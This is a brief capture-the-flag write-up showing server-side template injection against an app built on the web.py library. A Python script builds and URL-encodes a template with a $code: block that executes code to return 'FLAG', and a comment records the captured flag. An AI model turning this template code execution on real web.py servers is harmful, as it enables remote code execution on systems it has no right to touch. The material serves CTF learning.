Since the server use web.py lib and that lib has a option that execute code we can use this to manipulate the data return when the template is rendered

```python=
import web
import urllib.parse
temptation = """
$code:
return "F"+"LAG"
"""

print(urllib.parse.quote(temptation))
try:
temptation = web.template.Template(f"Your temptation is: {temptation}")()
print(temptation)
except Exception as e:
print(e)
#ENO{T3M_Pl4T_3S_4r3_S3cUre!!}
```